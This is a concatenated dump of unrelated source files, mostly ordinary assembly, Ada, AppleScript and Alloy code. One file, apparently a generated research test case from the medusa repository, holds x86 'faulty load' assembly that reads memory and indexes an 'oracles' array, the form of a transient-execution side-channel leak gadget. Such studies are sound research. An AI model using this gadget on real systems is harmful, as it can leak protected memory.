; 279936,62748517,1280000000,10460353203,52523350144,194754273881,587068342272,1522435234375,3521614606208,7446353252589,14645194571776,27136050989627,47829690000000,80798284478113,131593177923584,207616015289871,318547390056832,476837158203125,698260569735168,1002544368429379,1414067010444416,1962637152460137,2684354560000000,3622557586593623,4828861374436224,6364290927201661,8300513205665792,10721172396796875,13723332506969728,17419031429960369,21936950640377856,27424204663190047,34048254470000000,41998948952729733,51490698625368064,62764785704439251,76091814718849152,91774307799765625,110149448801189888,131591980401875559,156517258339252096,185384466926009357,218700000000000000,257021011458116443,300959139524799104,351184408905832641,408429314978086912,473493094165859375,547246184654475648,630634881591804949,724686190928347136,830512886046548067,949318771330000000,1082404156823183753,1231171548132409344,1397131555718611831,1581909027732659072,1787249410543828125,2015025341112107008,2267243475354978539,2546051556659342976,2853745728689236177,3192778096640000000,3565764541089561663,3975492788597478784,4424930743202406821,4917235082968645632,5455760125732421875,6044066968198563968,6685932902538226329,7385361114638319616,8146590668153303687,8974106778510000000,9872651381016080173,10847233997222887424,11903142903693247611,13045956607324926592,14281555631380390625,15616134616373526528,17056214739963978319,18608656460009757056,20280672584928780597,22079841675520000000,24014121782394769283,26091864523169115264,28321829503567564201,30713199086589181952,33275593513886484375,36019086383507874688,38954220488154264509,42092024018100535296,45444027132932496907,49022278906250000000,52839364647486858993,56908423604998242304,61243167054566186591,65857896777473891712,70767523932299453125,75987588324579688448,81534278078494714899
mul $0,7
add $0,6
pow $0,7
|
src/data/flyover-text-snow.asm | Iemnur/Mother2GbaTranslation | 149 | 99844 | <reponame>Iemnur/Mother2GbaTranslation<gh_stars>100-1000
.loadtable "data/flyover-table.tbl"
db 02h, 01h
db 01h, 30h
.str "Snow Wood Boarding House\n" |
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2550.asm | ljhsiun2/medusa | 9 | 80689 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r8
push %rbp
push %rbx
push %rdx
push %rsi
lea addresses_D_ht+0x9b2f, %r15
sub $60785, %r8
mov (%r15), %rdx
nop
xor $33030, %rsi
lea addresses_A_ht+0x19d2f, %rbx
nop
sub $11140, %rbp
and $0xffffffffffffffc0, %rbx
movntdqa (%rbx), %xmm0
vpextrq $1, %xmm0, %rdx
nop
nop
nop
nop
nop
add %r15, %r15
lea addresses_normal_ht+0x1462f, %rbx
clflush (%rbx)
nop
nop
nop
add $16630, %r11
vmovups (%rbx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r15
nop
nop
inc %rbx
pop %rsi
pop %rdx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rbx
push %rdx
// Faulty Load
lea addresses_D+0x11d2f, %rbx
sub %r13, %r13
mov (%rbx), %r15
lea oracles, %rdx
and $0xff, %r15
shlq $12, %r15
mov (%rdx,%r15,1), %r15
pop %rdx
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
source/oasis/program-elements-root_types.ads | reznikmm/gela | 0 | 26810 | -- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Type_Definitions;
package Program.Elements.Root_Types is
pragma Pure (Program.Elements.Root_Types);
type Root_Type is
limited interface and Program.Elements.Type_Definitions.Type_Definition;
type Root_Type_Access is access all Root_Type'Class with Storage_Size => 0;
type Root_Type_Text is limited interface;
type Root_Type_Text_Access is access all Root_Type_Text'Class
with Storage_Size => 0;
not overriding function To_Root_Type_Text
(Self : in out Root_Type)
return Root_Type_Text_Access is abstract;
end Program.Elements.Root_Types;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/lto7_pkg.adb | best08618/asylo | 7 | 21030 | package body Lto7_Pkg is
procedure op1 (this : Root) is begin null; end;
procedure op2 (this : DT) is begin null; end;
end Lto7_Pkg;
|
programs/oeis/002/A002118.asm | neoneye/loda | 22 | 81601 | <filename>programs/oeis/002/A002118.asm
; A002118: 5th powers written backwards.
; 0,1,23,342,4201,5213,6777,70861,86723,94095,1,150161,238842,392173,428735,573957,6758401,7589141,8659881,9906742,23,1014804,2363515,3436346,4262697,5265679,67318811,70984341,86301271,94111502,342,15192682,23445533,39353193,42453454,57812525,67166406,75934396,86153297,99142209,4201,102658511,232196031,344800741,422619461,521825481,679269502,700543922,869308452,942574282,5213,152520543,230402083,394591814,420561954,573482305,677137055,750296106,867653656,992429417,6777,103695448,238231619,345634299,4281473701,5260920611,6752332521,7015210531,8653393541,9431304651,70861,1539224081,2367194391,3951703702,4266009122,5786403732,6735255352,7514876072,8634717882,9936507703,86723,1044876843,2348937073,3460409393,4249112814,5213507344,6710724074,7029024894,8619137725,9449504855,94095,1541230426,2325180956,3963886596,4220409337,5739087377,6796273518,7520437858,8697029309,9940099059
pow $0,5
lpb $0
mul $1,10
mov $2,$0
div $0,10
mod $2,10
add $1,$2
lpe
mov $0,$1
|
alloy4fun_models/trashltl/models/9/rJ2KiWow3kuYxcZop.als | Kaixi26/org.alloytools.alloy | 0 | 4089 | <gh_stars>0
open main
pred idrJ2KiWow3kuYxcZop_prop10 {
always all p:Protected | p in Protected
}
pred __repair { idrJ2KiWow3kuYxcZop_prop10 }
check __repair { idrJ2KiWow3kuYxcZop_prop10 <=> prop10o } |
07 SFX Variations/Create a variant SFX from audio files.applescript | streth11/Qlab-Scripts | 0 | 277 | <gh_stars>0
-- @description SFX VARIATIONS: Create a variant SFX from audio files
-- @author <NAME>
-- @link bensmithsound.uk
-- @version 1.0
-- @testedmacos 10.13.6
-- @testedqlab 4.6.9
-- @about Creates a group of multiple variations of the same SFX, to be armed and disarmed by a selection cue. Uses the audio file name to name the cue
-- @separateprocess TRUE
-- @changelog
-- v1.0 + init
-- RUN SCRIPT -----------------------------
tell application id "com.figure53.Qlab.4" to tell front workspace
-- Define variables
set itemNumber to ""
set otherFilesPrefix to {}
-- Files should be named with the cue number and the title of the cue, then the actor's full name / full announcement title after a comma. e.g. "ann.eve.1 Opening Announcement, Evening" for an opening announcement
-- Please note the script does not perform any checks to ensure all global information is correct on on the files (variable, number, name)
-- Get files first. Populate arrays with all necessary details.
set audioFilesOne to choose file with prompt "Please select the first audio file to insert into a variation" of type {"public.audio"}
set audioFiles to choose file with prompt "Please select all other alternate versions" of type {"public.audio"} with multiple selections allowed
-- Decode the name into all the relevant data
-- Get variable information from the first file
set firstFileName to my getFileName(audioFilesOne)
set fileOneArray to (my splitString(firstFileName, "."))
set filePrefixOne to item 1 of fileOneArray
set filePrefixTwo to item 2 of fileOneArray
set fileAllThree to item 3 of fileOneArray
set fileOneArrayTwo to (my splitString(fileAllThree, " "))
set filePrefixThree to item 1 of fileOneArrayTwo
set fileName to ""
repeat with eachItem from 2 to (length of fileOneArrayTwo)
set fileName to fileName & " " & (item eachItem of fileOneArrayTwo)
end repeat
set fileOneArrayThree to (my splitString(fileName, ", "))
set fileName to item 1 of fileOneArrayThree
-- Get variant information from all subsequent files
repeat with eachFile in audioFiles
set eachFileName to (my getFileName(eachFile))
set itemNumber to itemNumber + 1
set eachFileArray to (my splitString(eachFileName, "."))
set eachFilePrefixOne to item 1 of eachFileArray
set eachFilePrefixTwo to item 2 of eachFileArray
set eachFileAllThree to item 3 of eachFileArray
set eachFileArrayTwo to (my splitString(eachFileAllThree, " "))
set eachFilePrefixThree to item 1 of eachFileArrayTwo
set eachFileName to ""
repeat with eachItem from 2 to (length of eachFileArrayTwo)
set eachFileName to eachFileName & " " & (item eachItem of eachFileArrayTwo)
end repeat
set eachFileArrayThree to (my splitString(eachFileName, ", "))
set eachFileName to item 1 of eachFileArrayThree
my insertItemInList(eachFilePrefixTwo, otherFilesPrefix, itemNumber)
-- Check information against the first file
if eachFilePrefixOne is not equal to filePrefixOne then display dialog "The variable ABBREVIATION for \"" & eachFilePrefixOne & "." & eachFilePrefixTwo & "." & eachFilePrefixThree & " " & eachFileName & "\" is not the same as that in the first file. Would you like to continue? If you do, the abbreviation from the first file will be used" default button "OK" cancel button "Cancel" with title "Abbreviation Inconsistency"
if eachFilePrefixThree is not equal to filePrefixThree then display dialog "The variation NUMBER for \"" & eachFilePrefixOne & "." & eachFilePrefixTwo & "." & eachFilePrefixThree & " " & eachFileName & "\" is not the same as that in the first file. Would you like to continue? If you do, the number from the first file will be used" default button "OK" cancel button "Cancel" with title "Variation Number Inconsistency"
if eachFileName is not equal to fileName then display dialog "The cue NAME for \"" & eachFilePrefixOne & "." & eachFilePrefixTwo & "." & eachFilePrefixThree & " " & eachFileName & "\" is not the same as that in the first file. Would you like to continue? If you do, the name from the first file will be used" default button "OK" cancel button "Cancel" with title "Variation Name Inconsistency"
end repeat
-- For debugging, the following snippet can be re-enabled. It will display to you the prefix information, and all additional variants, in a dialog, followed by the cue name
(*
set allVariants to ""
if (get count of otherFilesPrefix) is greater than 0 then
repeat with theItem in otherFilesPrefix
set allVariants to allVariants & " : " & theItem
end repeat
end if
display dialog filePrefixOne & "/" & filePrefixTwo & "/" & filePrefixThree & " Other Variants" & allVariants with title "Please check these details"
display dialog fileName with title "Please check these details: Cue Name"
*)
-- Get actor names
set actorNameArray to {}
set actorNameOne to item 2 of (my splitString(firstFileName, ", "))
set actorNameOneFinal to item 1 of (my splitString(actorNameOne, "."))
my insertItemInList(actorNameOneFinal, actorNameArray, 1)
set itemNumber to 1
repeat with eachFile in audioFiles
set itemNumber to itemNumber + 1
set eachFileName to (my getFileName(eachFile))
set eachFileNameArray to (my splitString(eachFileName, ", "))
set nextActorName to item 2 of eachFileNameArray
set nextActorNameFinal to item 1 of (my splitString(nextActorName, "."))
my insertItemInList(nextActorNameFinal, actorNameArray, itemNumber)
end repeat
-- Create the main group
make type "Group"
set mainSFXGroup to last item of (selected as list)
set mode of mainSFXGroup to timeline
set mainSFXGroupID to uniqueID of mainSFXGroup
set q name of mainSFXGroup to fileName
set q color of mainSFXGroup to "Blue"
-- Create first audio cue
make type "Audio"
set audioOne to last item of (selected as list)
set audioOneID to uniqueID of audioOne
set q name of audioOne to ((item 1 of actorNameArray) & " | " & fileName) as string
set q number of audioOne to filePrefixOne & "." & filePrefixTwo & "." & filePrefixThree
set file target of audioOne to audioFilesOne
move cue id audioOneID of parent of audioOne to end of mainSFXGroup
-- Create subsequent audio cues
set itemNumber to 0
repeat with eachFile in audioFiles
set itemNumber to itemNumber + 1
make type "Audio"
set nextAudio to last item of (selected as list)
set nextAudioID to uniqueID of nextAudio
set q name of nextAudio to ((item (itemNumber + 1) of actorNameArray) & " | " & fileName as string)
set q number of nextAudio to filePrefixOne & "." & (item itemNumber of otherFilesPrefix) & "." & filePrefixThree
set file target of nextAudio to eachFile
move cue id nextAudioID of parent of nextAudio to end of mainSFXGroup
end repeat
end tell
-- FUNCTIONS ------------------------------
on getFileName(theFile)
tell application "Finder"
set fileName to name of theFile
end tell
end getFileName
on splitString(theString, theDelimiter)
-- save delimiters to restore old settings
set oldDelimiters to AppleScript's text item delimiters
-- set delimiters to delimiter to be used
set AppleScript's text item delimiters to theDelimiter
-- create the array
set theArray to every text item of theString
-- restore old setting
set AppleScript's text item delimiters to oldDelimiters
-- return the array
return theArray
end splitString
on insertItemInList(theItem, theList, thePosition)
set theListCount to length of theList
if thePosition is 0 then
return false
else if thePosition is less than 0 then
if (thePosition * -1) is greater than theListCount + 1 then return false
else
if thePosition is greater than theListCount + 1 then return false
end if
if thePosition is less than 0 then
if (thePosition * -1) is theListCount + 1 then
set beginning of theList to theItem
else
set theList to reverse of theList
set thePosition to (thePosition * -1)
if thePosition is 1 then
set beginning of theList to theItem
else if thePosition is (theListCount + 1) then
set end of theList to theItem
else
set theList to (items 1 thru (thePosition - 1) of theList) & theItem & (items thePosition thru -1 of theList)
end if
set theList to reverse of theList
end if
else
if thePosition is 1 then
set beginning of theList to theItem
else if thePosition is (theListCount + 1) then
set end of theList to theItem
else
set theList to (items 1 thru (thePosition - 1) of theList) & theItem & (items thePosition thru -1 of theList)
end if
end if
return theList
end insertItemInList |
unmegalz_small.asm | uniabis/z80depacker | 25 | 175419 | ;
; Size-optimized MegaLZ decompressor by spke (ver.03 13/01/2021, 88 bytes)
;
; The commonly used "classic" decompressor for MegaLZ is a 110 byte relocatable routine
; "DEC40.asm" written by Fyrex^MhM in 1998
;
; This non-relocatable decompressor is 22 bytes shorter and 20% faster than DEC40.asm
;
; ver.00 by spke (27-28/08/2018, 95 bytes, released @ https://hype.retroscene.org/blog/933.html);
; ver.01 by spke (31/07/2019, 92(-3) bytes, slightly faster);
; ver.02 by spke (06/05/2020, 88(-4) bytes, -0.5% speed);
; ver.03 by spke (13/01/2021, fixed a bug in ver.02, added full revision history)
;
; The data must be compressed using one of the optimal MegaLZ compressors by LVD^NedoPC,
; either modern "mhmt": https://github.com/lvd2/mhmt
; or older "megalz": https://web.archive.org/web/20080224212635/http://lvd.nm.ru/MegaLZ/
;
; The decompression is done in the standard way:
;
; ld hl,CompressedData
; ld de,WhereToDecompress
; call DecompressMegaLZ
;
; This decompressor only modifies AF, BC, DE, HL
;
; Drop me an email if you have any comments/ideas/suggestions: <EMAIL>
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
;
; Uncomment the next line for the additional 20% speed-up at the cost of extra 9 bytes
; DEFINE FasterGetBit
IFDEF FasterGetBit
MACRO GET_BIT
add a : call z,ReloadByte
ENDM
ELSE
MACRO GET_BIT
call GetOneBit
ENDM
ENDIF
@DecompressMegaLZ: ld a,128
;
; case "0"+BYTE: copy a single literal
CASE1: ldi ; first byte is always copied as literal
;
; main decompressor loop
MainLoop: GET_BIT : jr c,CASE1 ; "1"+BYTE = copy literal
push de : ld bc,1 : ld de,#FF00+%00011111
GET_BIT : jr nc,CASE00x
CASE01x: ; "01" could be a 3-byte match or longer match
GET_BIT : jr nc,CASE010
CASE011: ; "011" are general length matches (N.B.: BC = 1)
ReadLogLength GET_BIT : inc b
jr nc,ReadLogLength
ReadLength GET_BIT : rl c : jr c,WayOut ; overflow signals the end of the data
djnz ReadLength
CASE010: ; "010" is a 3-byte match
inc c ; BC = len = 3 (note INC C below)
GET_BIT : jr nc,ShortOffset
ld d,e
LongOffset GET_BIT : rl d
jr nc,LongOffset
dec d
CASE001: ; "001"+[OFFSET] is a close 2-byte match
ShortOffset ld e,(hl) : inc hl ; DE = -offset
inc c
ActualCopy ex (sp),hl ; HL = dest, (SP) = src
ex de,hl : add hl,de ; DE = dest, HL = dest-offset
ldir
pop hl : jr MainLoop
IFNDEF FasterGetBit
WayOut EQU $-1 ; warning, an evil hack: the offset of JR MainLoop
; just above is also serving as the command POP DE
GetOneBit: add a : ret nz
ELSE
WayOut pop de
ENDIF
ReloadByte: ld a,(hl) : inc hl
rla : ret
CASE00x: GET_BIT : jr c,CASE001
CASE000: ; "000"+ooo is a very close 1-byte match
IFNDEF FasterGetBit
ccf
ReadThreeBits call nc,GetOneBit : rl e
jr nc,ReadThreeBits ; DE = -offset
jr ActualCopy
ELSE
ld e,%00111111
ReadThreeBits GET_BIT : rl e
jr nc,ReadThreeBits ; DE = -offset
jr ActualCopy
ENDIF
|
bb-runtimes/src/s-bbcppr__armv7m.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 23173 | <reponame>JCGobbi/Nucleo-STM32G474RE
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . B B . C P U _ P R I M I T I V E S --
-- --
-- B o d y --
-- --
-- Copyright (C) 1999-2002 Universidad Politecnica de Madrid --
-- Copyright (C) 2003-2005 The European Space Agency --
-- Copyright (C) 2003-2020, AdaCore --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
------------------------------------------------------------------------------
-- This version is for ARM bareboard targets using the ARMv7-M targets,
-- which only use Thumb2 instructions.
with Ada.Unchecked_Conversion; use Ada;
with System.Multiprocessors;
with System.BB.Board_Support;
with System.BB.CPU_Specific;
with System.BB.Threads;
with System.BB.Threads.Queues;
with System.Machine_Code; use System.Machine_Code;
with System.BB.CPU_Primitives.Context_Switch_Trigger;
package body System.BB.CPU_Primitives is
use Board_Support;
use Board_Support.Time;
use System.BB.CPU_Primitives.Context_Switch_Trigger;
use Parameters;
use Threads.Queues;
NL : constant String := ASCII.LF & ASCII.HT;
-- New line separator in Asm templates
Has_VTOR : constant Boolean := System.BB.Parameters.Has_VTOR;
-- Set True iff the Vector Table Offset Register (VTOR) can be used
-- (armv7-m architecture or Cortex-M0+).
Has_OS_Extensions : constant Boolean :=
System.BB.Parameters.Has_OS_Extensions;
-- Set True iff the core implements the armv6-m OS extensions
Is_ARMv6m : constant Boolean := System.BB.Parameters.Is_ARMv6m;
-- Set True iff the core implements the armv6-m architecture
-----------
-- Traps --
-----------
Reset_Vector : constant Vector_Id := 1;
NMI_Vector : constant Vector_Id := 2;
Hard_Fault_Vector : constant Vector_Id := 3;
-- Mem_Manage_Vector : constant Vector_Id := 4; -- Never referenced
Bus_Fault_Vector : constant Vector_Id := 5;
Usage_Fault_Vector : constant Vector_Id := 6;
SV_Call_Vector : constant Vector_Id := 11;
-- Debug_Mon_Vector : constant Vector_Id := 12; -- Never referenced
Pend_SV_Vector : constant Vector_Id := 14;
Sys_Tick_Vector : constant Vector_Id := 15;
Interrupt_Request_Vector : constant Vector_Id := 16;
pragma Assert (Interrupt_Request_Vector = Vector_Id'Last);
type Trap_Handler_Ptr is access procedure (Id : Vector_Id);
function To_Pointer is new Unchecked_Conversion (Address, Trap_Handler_Ptr);
type Trap_Handler_Table is array (Vector_Id) of Trap_Handler_Ptr;
pragma Suppress_Initialization (Trap_Handler_Table);
Trap_Handlers : Trap_Handler_Table;
pragma Export (C, Trap_Handlers, "__gnat_bb_exception_handlers");
System_Vectors : constant System.Address;
pragma Import (Asm, System_Vectors, "__vectors");
-- As ARMv7M does not directly provide a single-shot alarm timer, and
-- we have to use Sys_Tick for that, we need to have this clock generate
-- interrupts at a relatively high rate. To avoid unnecessary overhead
-- when no alarms are requested, we'll only call the alarm handler if
-- the current time exceeds the Alarm_Time by at most half the modulus
-- of Timer_Interval.
Alarm_Time : Board_Support.Time.Timer_Interval;
pragma Volatile (Alarm_Time);
pragma Import (C, Alarm_Time, "__gnat_alarm_time");
procedure SV_Call_Handler;
pragma Export (Asm, SV_Call_Handler, "__gnat_sv_call_trap");
procedure Sys_Tick_Handler;
pragma Export (Asm, Sys_Tick_Handler, "__gnat_sys_tick_trap");
procedure Interrupt_Request_Handler;
pragma Export (Asm, Interrupt_Request_Handler, "__gnat_irq_trap");
procedure GNAT_Error_Handler (Trap : Vector_Id);
pragma No_Return (GNAT_Error_Handler);
-----------------------
-- Context Switching --
-----------------------
-- This port uses the ARMv6/7-M hardware for saving volatile context for
-- interrupts, see the Hardware_Context type below for details. Any
-- non-volatile registers will be preserved by the interrupt handler in
-- the same way as it happens for ordinary procedure calls.
-- The non-volatile registers, as well as the value of the stack pointer
-- (SP_process) are saved in the Context buffer of the Thread_Descriptor.
-- Any non-volatile floating-point registers are saved on the stack.
-- R4 .. R11 are at offset 0 .. 7
SP_process : constant Context_Id := 8;
type Hardware_Context is record
R0, R1, R2, R3 : Word;
R12, LR, PC, PSR : Word;
end record;
VTOR : Address with Volatile, Address => 16#E000_ED08#; -- Vec. Table Offset
AIRCR : Word with Volatile, Address => 16#E000_ED0C#; -- App Int/Reset Ctrl
CCR : Word with Volatile, Address => 16#E000_ED14#; -- Config. Control
SHPR1 : Word with Volatile, Address => 16#E000_ED18#; -- Sys Hand 4- 7 Prio
SHPR2 : Word with Volatile, Address => 16#E000_ED1C#; -- Sys Hand 8-11 Prio
SHPR3 : Word with Volatile, Address => 16#E000_ED20#; -- Sys Hand 12-15 Prio
SHCSR : Word with Volatile, Address => 16#E000_ED24#; -- Sys Hand Ctrl/State
function PRIMASK return Word with Inline, Export, Convention => C;
-- Function returning the contents of the PRIMASK register
-------------
-- PRIMASK --
-------------
function PRIMASK return Word is
R : Word;
begin
Asm ("mrs %0, PRIMASK", Outputs => Word'Asm_Output ("=r", R),
Volatile => True);
return R;
end PRIMASK;
--------------------
-- Initialize_CPU --
--------------------
procedure Initialize_CPU is
Interrupt_Stack_Table : array (System.Multiprocessors.CPU)
of System.Address;
pragma Import (Asm, Interrupt_Stack_Table, "interrupt_stack_table");
-- Table containing a pointer to the top of the stack for each processor
begin
if Has_OS_Extensions then
-- Switch the stack pointer to SP_process (PSP)
Asm ("mrs r0, MSP" & NL &
"msr PSP, r0" & NL &
"mrs r0, CONTROL" & NL &
"movs r1, #2" & NL &
"orr r0,r0,r1" & NL &
"msr CONTROL,r0" & NL &
"mrs r0, CONTROL",
Clobber => "r0,r1",
Volatile => True);
-- Initialize SP_main (MSP)
Asm ("msr MSP, %0",
Inputs => Address'Asm_Input ("r", Interrupt_Stack_Table (1)),
Volatile => True);
end if;
if Has_VTOR then
-- Initialize vector table
VTOR := System_Vectors'Address;
end if;
-- Set configuration: stack is 8 byte aligned, trap on divide by 0,
-- no trap on unaligned access, can enter thread mode from any level.
CCR := CCR or 16#211#;
-- Set priorities of system handlers. The Pend_SV handler runs at the
-- lowest priority, so context switching does not block higher priority
-- interrupt handlers. All other system handlers run at the highest
-- priority (0), so they will not be interrupted. This is also true for
-- the SysTick interrupt, as this interrupt must be serviced promptly in
-- order to avoid losing track of time.
SHPR1 := 0;
SHPR2 := 0;
SHPR3 := 16#00_FF_00_00#;
if not Is_ARMv6m then
-- Write the required key (16#05FA#) and desired PRIGROUP value. We
-- configure this to 3, to have 16 group priorities
AIRCR := 16#05FA_0300#;
pragma Assert (AIRCR = 16#FA05_0300#); -- Key value is swapped
end if;
-- Enable usage, bus and memory management fault
SHCSR := SHCSR or 16#7_0000#;
-- Call context switch hardware initialization
Initialize_Context_Switch;
-- Unmask Fault
Asm ("cpsie f", Volatile => True);
end Initialize_CPU;
----------------------
-- Initialize_Stack --
----------------------
procedure Initialize_Stack
(Base : Address;
Size : Storage_Elements.Storage_Offset;
Stack_Pointer : out Address)
is
use System.Storage_Elements;
begin
-- Force alignment
Stack_Pointer := Base + (Size - (Size mod CPU_Specific.Stack_Alignment));
end Initialize_Stack;
--------------------
-- Context_Switch --
--------------------
procedure Context_Switch is
begin
-- Interrupts must be disabled at this point
pragma Assert (PRIMASK = 1);
Trigger_Context_Switch;
-- Memory must be clobbered, as task switching causes a task to signal,
-- which means its memory changes must be visible to all other tasks.
Asm ("", Volatile => True, Clobber => "memory");
end Context_Switch;
-----------------
-- Get_Context --
-----------------
function Get_Context
(Context : Context_Buffer;
Index : Context_Id) return Word
is
(Word (Context (Index)));
------------------------
-- GNAT_Error_Handler --
------------------------
procedure GNAT_Error_Handler (Trap : Vector_Id) is
begin
case Trap is
when Reset_Vector =>
raise Program_Error with "unexpected reset";
when NMI_Vector =>
raise Program_Error with "non-maskable interrupt";
when Hard_Fault_Vector =>
raise Program_Error with "hard fault";
when Bus_Fault_Vector =>
raise Program_Error with "bus fault";
when Usage_Fault_Vector =>
raise Constraint_Error with "usage fault";
when others =>
raise Program_Error with "unhandled trap";
end case;
end GNAT_Error_Handler;
----------------------------------
-- Interrupt_Request_Handler -- --
----------------------------------
procedure Interrupt_Request_Handler is
begin
-- Call the handler (System.BB.Interrupts.Interrupt_Wrapper)
Trap_Handlers (Interrupt_Request_Vector)(Interrupt_Request_Vector);
-- The handler has changed the current priority (BASEPRI), although
-- being useless on ARMv7m. We need to revert it.
-- The interrupt handler may have scheduled a new task, so we need to
-- check whether a context switch is needed.
if Has_OS_Extensions then
if Context_Switch_Needed then
-- Perform a context switch because the currently executing thread
-- is no longer the one with the highest priority.
-- No need to update execution time. Already done in the wrapper.
-- Note that the following context switch is not immediate, but
